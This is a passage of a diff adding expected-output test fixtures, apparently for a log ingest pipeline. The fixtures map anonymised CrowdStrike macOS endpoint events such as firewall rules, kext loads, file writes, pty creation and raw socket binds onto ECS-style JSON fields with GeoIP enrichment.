+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1"
+            },
+            "device": {
+                "id": "e49032362e42da0f07152b78718c7674"
+            },
+            "event": {
+                "action": "FirewallSetRuleIP6",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "642c09f791082b5d83a09c110880c78938cf|e49032362e42da0f07152b78718c7674|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"RemoteAddressIP6\":\"2a02:cf40::1\",\"FirewallAction\":\"1\",\"aip\":\"216.160.83.56\",\"NegateLocalAddress\":\"0\",\"InterfaceAlias\":\"3d0df\",\"event_platform\":\"Mac\",\"NegateInterface\":\"0\",\"IsUnique\":\"1\",\"RemoteAddressMaskIP6\":\"374708fff7719dd5\",\"LocalAddressMaskIP6\":\"0e83fa75cca53fdf\",\"EventOrigin\":\"45\",\"id\":\"642c09f791082b5d83a09c110880c78938cf\",\"Protocol\":\"62\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"FirewallSetRuleIP6\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"ContextTimeStamp\":\"1749801051.624\",\"IcmpCode\":\"1\",\"ConfigStateHash\":\"15043379\",\"ContextProcessId\":\"160345220009000222\",\"IcmpType\":\"990\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"Entitlements\":\"76\",\"name\":\"e1d442f5c46bbf234569aea\",\"aid\":\"e49032362e42da0f07152b78718c7674\",\"NegateRemoteAddress\":\"0\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "e49032362e42da0f07152b78718c7674",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FirewallSetRuleIP6",
+            "network": {
+                "community_id": "1:/PXwsbY7C0EByZrDGqpoxSqF9J8=",
+                "direction": "outbound",
+                "iana_number": "62"
+            },
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "e49032362e42da0f07152b78718c7674",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "160345220009000222"
+            },
+            "related": {
+                "hash": [
+                    "15043379"
+                ],
+                "ip": [
+                    "216.160.83.56",
+                    "2a02:cf40::1"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40::1",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "BundleID": "a225ed06f58fec3fe735872464c",
+                "ConfigStateHash": "15043379",
+                "ContextProcessId": "472050110452005020",
+                "ContextTimeStamp": "2025-11-03T19:33:14.892Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "5f985f71b43f37edc3c06b1c67f8acf263c1",
+                "name": "3304452f50b3f"
+            },
+            "device": {
+                "id": "c93c143eed37653b54c326dd22e114b8"
+            },
+            "event": {
+                "action": "load",
+                "category": [
+                    "driver"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "5f985f71b43f37edc3c06b1c67f8acf263c1|c93c143eed37653b54c326dd22e114b8|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"KextLoad\",\"ContextTimeStamp\":\"1762198394.892\",\"ConfigStateHash\":\"15043379\",\"ContextProcessId\":\"472050110452005020\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"BundleID\":\"a225ed06f58fec3fe735872464c\",\"Entitlements\":\"86\",\"name\":\"3304452f50b3f\",\"EventOrigin\":\"1\",\"id\":\"5f985f71b43f37edc3c06b1c67f8acf263c1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"c93c143eed37653b54c326dd22e114b8\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "c93c143eed37653b54c326dd22e114b8",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "KextLoad",
+            "observer": {
+                "address": [
+                    "2a02:cf40::1"
+                ],
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": [
+                    "2a02:cf40::1"
+                ],
+                "serial_number": "c93c143eed37653b54c326dd22e114b8",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "472050110452005020",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "15043379"
+                ],
+                "ip": [
+                    "2a02:cf40::1"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "55043379",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "InDiscards": "0",
+                "InErrors": "0",
+                "InMulticastPkts": "36300760",
+                "InOctets": "5401980300",
+                "InUcastPkts": "80890102",
+                "InUnknownProtos": "0",
+                "InterfaceAlias": "445",
+                "InterfaceIndex": 8,
+                "InterfaceType": "6",
+                "LocalAddressIP4": [
+                    "81.2.69.142"
+                ],
+                "LocalIpAddressPipelineSource": "6",
+                "NetLuidIndex": 0,
+                "OutErrors": "0",
+                "OutMulticastPkts": "0",
+                "OutOctets": "3000000600",
+                "OutUcastPkts": "46360000",
+                "PhysicalAddressLength": 6,
+                "PrefixLength": "52",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f0d3d878ef1a02ab86680075a0eda18b56e9",
+                "name": "1b1a40a16643c4d9d9ad13"
+            },
+            "device": {
+                "id": "3bec845649acaaa1eb41d1ad4a804a38"
+            },
+            "event": {
+                "action": "LocalIpAddressIP4",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f0d3d878ef1a02ab86680075a0eda18b56e9|3bec845649acaaa1eb41d1ad4a804a38|4092825518eaf67377a6e4492ae44577",
+                "kind": "state",
+                "original": "{\"OutOctets\":\"3000000600\",\"CreationTimeStamp\":\"-11724671741.249\",\"aip\":\"81.2.69.192\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"445\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"8\",\"event_platform\":\"Mac\",\"InterfaceType\":\"6\",\"EventOrigin\":\"1\",\"id\":\"f0d3d878ef1a02ab86680075a0eda18b56e9\",\"PhysicalAddressLength\":\"6\",\"InUcastPkts\":\"80890102\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"55043379\",\"PhysicalAddress\":\"b9-55-b4-6e-3e-c8\",\"PrefixLength\":\"52\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"46360000\",\"InMulticastPkts\":\"36300760\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"InOctets\":\"5401980300\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"76\",\"name\":\"1b1a40a16643c4d9d9ad13\",\"aid\":\"3bec845649acaaa1eb41d1ad4a804a38\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "3bec845649acaaa1eb41d1ad4a804a38",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LocalIpAddressIP4",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "3bec845649acaaa1eb41d1ad4a804a38",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "related": {
+                "hash": [
+                    "55043379"
+                ],
+                "ip": [
+                    "81.2.69.192",
+                    "81.2.69.142"
+                ]
+            },
+            "source": {
+                "address": "81.2.69.142",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.142",
+                "mac": "B9-55-B4-6E-3E-C8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "65043379",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "InterfaceIndex": 8,
+                "LocalAddressIP4": [
+                    "216.160.83.56"
+                ],
+                "LocalIpAddressPipelineSource": "6",
+                "NetLuidIndex": 0,
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "a885c0aff4e59afa62b4cfc45dd233f79546",
+                "name": "4a33a844314cf727f26cb81df45b9"
+            },
+            "device": {
+                "id": "3bec845649acaaa1eb41d1ad4a804a38"
+            },
+            "event": {
+                "action": "LocalIpAddressRemovedIP4",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "a885c0aff4e59afa62b4cfc45dd233f79546|3bec845649acaaa1eb41d1ad4a804a38|4092825518eaf67377a6e4492ae44577",
+                "kind": "state",
+                "original": "{\"LocalAddressIP4\":\"216.160.83.56\",\"event_simpleName\":\"LocalIpAddressRemovedIP4\",\"ConfigStateHash\":\"65043379\",\"aip\":\"81.2.69.142\",\"InterfaceIndex\":\"8\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"86\",\"name\":\"4a33a844314cf727f26cb81df45b9\",\"EventOrigin\":\"1\",\"id\":\"a885c0aff4e59afa62b4cfc45dd233f79546\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"3bec845649acaaa1eb41d1ad4a804a38\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "3bec845649acaaa1eb41d1ad4a804a38",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LocalIpAddressRemovedIP4",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "3bec845649acaaa1eb41d1ad4a804a38",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "related": {
+                "hash": [
+                    "65043379"
+                ],
+                "ip": [
+                    "81.2.69.142",
+                    "216.160.83.56"
+                ]
+            },
+            "source": {
+                "address": "216.160.83.56",
+                "as": {
+                    "number": 209
+                },
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": "216.160.83.56"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "BoundingLimitCount": 10,
+                "BoundingLimitDuration": "4486640",
+                "ConfigStateHash": "25043379",
+                "ContextBaseFileName": "9a93b1357a69e905c9a",
+                "ContextProcessId": "704802000705084000",
+                "ContextTimeStamp": "2025-06-05T07:31:09.141Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "26",
+                "EventOrigin": "1",
+                "FileCategory": "6",
+                "IsOnRemovableDisk": "0",
+                "MachOSubType": "6",
+                "SHA256HashData": "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "1a8f053397e4f0d36a740347ced0ee4eaad4",
+                "name": "1148999d786555f3e786e"
+            },
+            "device": {
+                "id": "9ea510e4d87c4988253c7355515a7081"
+            },
+            "event": {
+                "action": "MachOFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "1a8f053397e4f0d36a740347ced0ee4eaad4|9ea510e4d87c4988253c7355515a7081|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"9a93b1357a69e905c9a\",\"FileCategory\":\"6\",\"MachOSubType\":\"6\",\"Size\":\"3000605\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9\",\"event_platform\":\"Mac\",\"EventOrigin\":\"1\",\"id\":\"1a8f053397e4f0d36a740347ced0ee4eaad4\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"MachOFileWritten\",\"ContextTimeStamp\":\"1749108669.141\",\"UserName\":\"4813\",\"ConfigStateHash\":\"25043379\",\"ContextProcessId\":\"704802000705084000\",\"SHA256HashData\":\"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"4486640\",\"Entitlements\":\"26\",\"name\":\"1148999d786555f3e786e\",\"aid\":\"9ea510e4d87c4988253c7355515a7081\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5",
+                "hash": {
+                    "sha256": "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63"
+                },
+                "inode": "a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9",
+                "name": "22ded4e2",
+                "path": "/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2",
+                "size": 3000605,
+                "type": "file"
+            },
+            "host": {
+                "id": "9ea510e4d87c4988253c7355515a7081",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "MachOFileWritten",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "9ea510e4d87c4988253c7355515a7081",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "704802000705084000",
+                "name": "9a93b1357a69e905c9a",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63",
+                    "25043379"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "user": [
+                    "4813"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "4813"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "BoundedCount": 4,
+                "ConfigStateHash": "75043379",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "16",
+                "EventOrigin": "45",
+                "ProcessCount": 5,
+                "SHA256HashData": "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d",
+                "SuppressType": "2",
+                "Timeout": 284,
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "9b9091551ef260bfbe2fcbaa991fd216578d",
+                "name": "53731de338efc268aed79822"
+            },
+            "device": {
+                "id": "aff97f8b915352339afe79c5a16d76b3"
+            },
+            "event": {
+                "action": "ProcessRollup2Stats",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "9b9091551ef260bfbe2fcbaa991fd216578d|aff97f8b915352339afe79c5a16d76b3|4092825518eaf67377a6e4492ae44577",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"75043379\",\"Timeout\":\"284\",\"ParentProcessId\":\"0\",\"aip\":\"81.2.69.142\",\"SuppressType\":\"2\",\"SHA256HashData\":\"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d\",\"ProcessCount\":\"5\",\"BoundedCount\":\"4\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"UID\":\"60\",\"event_platform\":\"Mac\",\"CommandLine\":\"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd\",\"Entitlements\":\"16\",\"name\":\"53731de338efc268aed79822\",\"EventOrigin\":\"45\",\"id\":\"9b9091551ef260bfbe2fcbaa991fd216578d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"aff97f8b915352339afe79c5a16d76b3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "unknown",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "aff97f8b915352339afe79c5a16d76b3",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ProcessRollup2Stats",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "aff97f8b915352339afe79c5a16d76b3",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "args": [
+                    "fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f",
+                    "-9",
+                    "a0b52d20",
+                    "-0",
+                    "a5f99916883744114",
+                    "-c",
+                    "9c11c52b372e36e77b8fd37dd"
+                ],
+                "args_count": 7,
+                "command_line": "fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd",
+                "hash": {
+                    "sha256": "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d"
+                },
+                "parent": {
+                    "entity_id": "0"
+                }
+            },
+            "related": {
+                "hash": [
+                    "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d",
+                    "75043379"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "60"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "60"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "85043379",
+                "ContextProcessId": "601020521600005482",
+                "ContextTimeStamp": "2025-05-30T16:00:09.371Z",
+                "DeviceId": "506006027",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "1653ccad055c131c79fb49ce013cfa05fde1",
+                "name": "a3f9634e8f5cb2a"
+            },
+            "device": {
+                "id": "506006027"
+            },
+            "event": {
+                "action": "PtyCreated",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "1653ccad055c131c79fb49ce013cfa05fde1|0883f49bee1d86ce81176e6d89766adc|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"PtyCreated\",\"ContextTimeStamp\":\"1748620809.371\",\"ConfigStateHash\":\"85043379\",\"ContextProcessId\":\"601020521600005482\",\"DeviceId\":\"506006027\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"CommandLine\":\"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660\",\"ImageFileName\":\"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a\",\"Entitlements\":\"96\",\"name\":\"a3f9634e8f5cb2a\",\"EventOrigin\":\"1\",\"id\":\"1653ccad055c131c79fb49ce013cfa05fde1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"0883f49bee1d86ce81176e6d89766adc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "host": {
+                "id": "0883f49bee1d86ce81176e6d89766adc",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "PtyCreated",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "0883f49bee1d86ce81176e6d89766adc",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "args": [
+                    "8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb",
+                    "7521ca220a8ae6027c0205ba2b01c82c",
+                    "ce793a",
+                    "a8f34ba10921c4",
+                    "6b9396fe89508a308632dca4bb879ce31fc550496",
+                    "48c7277892b8",
+                    "0f5f4216848e1e3804905fdfdc7",
+                    "916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406",
+                    "b42ddbaecab521",
+                    "dc2356cbcb5b9c79939eead1793ef5f85b215c311422f",
+                    "f68dd32e713737d9",
+                    "44ac9316adc24687dbacafca20b954bcf3d33dcd4de",
+                    "a59c027bb0a7c05d76750e3de7f569a7758ace084",
+                    "04ee11a4fa1078efa8abad229976f29bcd52d351f9",
+                    "4b01829a2b8c908ab96d79a2b0e1d5acb806551",
+                    "90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad",
+                    "a59c73da5938ef",
+                    "c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5",
+                    "96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e",
+                    "f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97",
+                    "315ef7be6a1848b2682301660"
+                ],
+                "args_count": 21,
+                "command_line": "8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660",
+                "entity_id": "601020521600005482",
+                "executable": "/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a",
+                "name": "7a4c386a",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "85043379"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "55043379",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "148005106018043800",
+                "ContextTimeStamp": "2025-10-05T22:28:06.546Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "81.2.69.144"
+                ],
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "c842b689fbd78207d195d8c17e3a04a000f6",
+                "name": "2552bb1c58ae3899"
+            },
+            "destination": {
+                "address": "89.160.20.128",
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.128",
+                "port": 260
+            },
+            "device": {
+                "id": "6de60f31dcfac7d0eac699802285aa4c"
+            },
+            "event": {
+                "action": "RawBindIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "c842b689fbd78207d195d8c17e3a04a000f6|6de60f31dcfac7d0eac699802285aa4c|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"81.2.69.144\",\"event_simpleName\":\"RawBindIP4\",\"ContextTimeStamp\":\"1759703286.546\",\"ConfigStateHash\":\"55043379\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"148005106018043800\",\"RemotePort\":\"260\",\"aip\":\"2a02:cf40::2\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"LocalPort\":\"260\",\"Entitlements\":\"86\",\"name\":\"2552bb1c58ae3899\",\"EventOrigin\":\"1\",\"id\":\"c842b689fbd78207d195d8c17e3a04a000f6\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"6de60f31dcfac7d0eac699802285aa4c\",\"RemoteAddressIP4\":\"89.160.20.128\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "6de60f31dcfac7d0eac699802285aa4c",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "RawBindIP4",
